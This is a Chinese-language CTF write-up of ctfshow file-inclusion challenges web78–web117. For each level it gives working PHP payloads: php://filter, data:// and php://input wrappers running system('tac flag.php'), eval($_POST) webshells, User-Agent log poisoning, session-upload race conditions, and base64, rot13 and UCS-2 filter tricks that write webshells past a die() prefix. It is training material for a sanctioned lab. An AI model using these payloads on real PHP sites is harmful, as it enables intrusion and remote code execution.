文件包含(ctfshow)

  1. web78
  2. web79
  3. web80
  4. web81
  5. web82-session文件包含
  6. web83
  7. web84
  8. web85
  9. web86
  10. web87
  11. web88
  12. web116
  13. web117

web78

看源码:

直接构造?file=flag.php,没有结果,因为只是包含了php文件,而php代码是不会显示在前端的

1.可以使用php://filter伪协议:

payload:?file=php://filter/convert.base64-encode/resource=flag.php

2.bp抓包,给file传参?file=php://input然后在post输出想要执行的代码

3.也可以用data伪协议

?file=data://text/plain,<?php system('tac flag.php');?>
?file=data://text/plain,<?=eval($_POST[1])?>

web79

这一关用???代替了php

1.使用data协议:

?file=data://text/plain,<?Php system('tac flag.php');?> //注意<?php第一个p大写
?file=data://text/plain,<?= system('tac flag.php');?> 
?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=

2.php://input伪协议

?file=Php://input
再post:<?php system("tac flag.php");?>

web80

php和data都被替换了

1.php://input伪协议(大小写绕过)

?file=Php://input
再post:<?php system("tac flag.php");?>

2.日志文件包含,伪造UA写入php代码

日志文件记录了服务器收到的每一次请求的

IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

nginx日志文件在/var/log/nginx/access.log

先写入日志:

再包含日志,执行代码:

web81

这道题过滤了冒号,所以远程文件包含和大小写绕过不行了,只能用日志包含,同上题

web82-session文件包含

参考https://www.cnblogs.com/NPFS/p/13795170.html

https://blog.csdn.net/qq_46918279/article/details/120106832

PHP里面唯一我们能控制的没有后缀的文件就是session文件
利用PHP_SESSION_UPLOAD_PROGRESS写入session文件加条件竞争达到文件包含的目的

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on(默认开启)
3. session.upload_progress.prefix = "upload_progress_"(默认)
4. session.upload_progress.name = "$PHP_SESSION_UPLOAD_PROGRESS"(默认)
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控也就是PHP_SESSION_UPLOAD_PROGRESS的值可控;
prefix+name将表示为session中的键名
大体思路为:
1、post一个与ini中设置的session.upload_progress.name的同名变量(默认的name为“PHP_SESSION_UPLOAD_PROGRESS”),那么就会返回上传文件的实时进度并写入session文件中。session文件的内容为:(它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值)
2、如果我们post传递PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马
比如为:<?php system('ls');?>
3、同时,我们在cookie里面设置名字:PHPSESSID,值:flag,(目的是设置session文件,因为这样我们才能知道实时进度(一句话木马)上传到哪里了);那么在/tem/sess_flag这个文件的内容就为upload_progress_<?php system('ls')?>。然后在include(/tem/sess_flag)就会执行后面的php代码从而成功执行rce。
4、虽然文件上传结束后,php会清空session文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa进行条件竞争,那么就有可能在删除session文件前访问到这个文件。

我们能够创建session文件的原因:session里有一个默认选项,session.use_strict_mode默认值为off。也就是说此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=aaa,PHP将会在服务器上创建一个文件:/tmp/sess_aaa”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值。这个键值ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_aaa文件里。

操作:1、先构造一个上传文件的页面,对环境上传一个任意的文件,内容也任意,然后抓包。

<!DOCTYPE html>
<html>
<body>
<form action="http://dadcfcfb-217c-4393-817b-acf2a96574b7.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

2、 修改上传文件包

注意两点:

(1)设置Cookie:PHPSEESSID=flag、这样我们的session就为/tmp/sess_flag

(2)设置同名变量PHP_SESSION_UPLOAD_PROGRESS,设置值为我们想要存入session文件的代码。(把第一步中value=123的改掉即可,这里对123加上§§是为了进行爆破payload用)
3、包含session文件,抓包

这里§a§是为了方便爆破用

4、进行爆破

payload数量可以设置10000次,也可以使用无数次。

设置线程数(用了30)

然后一起爆破(先对上传文件包点击attack,在对/tmp/sess_flag文件包含包点击attack,也可以不管顺序,因为爆破次数有很多)

最后将ls改成tac fl0g.php就行

web83

session_unset();
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的sessionid
session_destroy();
删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留
所以这两个函数等同于将内存中的$_SESSION变量释放且删除了session文件和释放sessionid,我们是无法进行session文件包含的。但是:我们的脚本或者bp仍然能够进行包含。原因在于多线程竞争:

什么是多线程竞争
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:
数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。
这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。
怎么解决多线程竞争问题?---锁
锁的好处: 确保了某段关键代码(共享数据资源)只能由一个线程从头到尾完整地执行能解决多线程资 源竞争下的原子操作问题。
锁的坏处: 阻止了多线程并发执行,包含锁的某段代码实际上只能以单线程模式执行,效率就大大地下 降了
锁的致命问题: 死锁 

web84

system(“rm -rf /tmp/*”)会强制删除/tmp/下的所有文件

还是web82的方法,多线程竞争理解

web85

file_exists — 检查文件或目录是否存在,如果由指定的文件或目录存在则返回 true,否则返回 false。

file_get_contents — 将整个文件读入一个字符串,函数返回读取到的数据, 或者在失败时返回 false。

strpos — 查找字符串首次出现的位置,返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回 false。

还是web82的方法、同样的道理:多线程竞争理解

web86

知识点:

define — 定义一个常量
dirname:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。
set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false。
include
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

还是web82的方法、同样的道理:多线程竞争理解

因为设置了目录/tmp/sess_flag,所以set_include_path对我们的脚本没有用。

web87

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
    highlight_file(__FILE__);
}

参考谈一谈php://filter的妙用

file_put_content和死亡·杂糅代码之缘

方法1:base64编码

这道题,向文件输入内容的时候会在开头写入死亡函数,从而导致直接结束代码的执行,我们要做的就是绕过这个死亡函数。

编码时,转换成Base64的最小单位就是3个字节

解码时,4个字节为一组;PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了”A-Z、a-z、0-9、+、/“ 64个可打印字符)所以,通过base64解码过滤之后就只有 phpdie6 个字符我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。

其次:因为filename那里需要urldecode,而get传参的时候会进行一次urldecode,所以我们的filename需要两次urlencode。?file=php://filter/write=convert.base64-decode/resource=1.php这里需要进行url全编码,不然php会被过滤掉。
将<?php eval($_POST[1]);?>进行base64编码为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+,注意如果直接传入content,这里的+会被当做空格处理,所以在base64解码的时候就会忽略空格,自动在后面加上一个=:即PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=,解码后:<?php eval($_POST[1]);? 这样传进去就会报错

解决方法:将+进行urlencode或直接去掉?>

方法2:rot13编码

条件:在PHP不开启short_open_tag(短标签)时

payload:?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
//?file=php://filter/write=string.rot13/resource=3.php

//对写的内容进行rot13编码。
content=<?cuc riny($_CBFG[1]);?>

//<?php eval($_POST[1]);?>
//rot13两次解码后会变成原来的样子。所以我们将传入的content进行一次rot13编码,然后在写入3.php的时候在进行rot13编码,那么写入文件的时候就会写入<?php eval($_POST[1]);?>。
//而<?php die('大佬别秀了');?>只会进行一次rot13编码,写入文件的时候就不是一个正常的php代码格式。

web88

这关过滤了很多,但有个data没有过滤

data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8%2B //+号可以用%2b编码

data://text/plain;base64,<?php eval($_POST['shell']);?>

web116

misc,看起来比较麻烦,先放着

web117

谈一谈php://filter的妙用 | 离别歌

这关没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。

convert.iconv.
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string 将字符串 str 从 in_charset 转换编码到 out_charset。 就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;
那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;

usc-2编码:这个是将前后两个字符进行交替(abcd==>badc),所以写入文件的<?php die();?>就会被扰乱,从而绕过。

get: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

然后访问1.php 
post:1=system('tac f*');

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。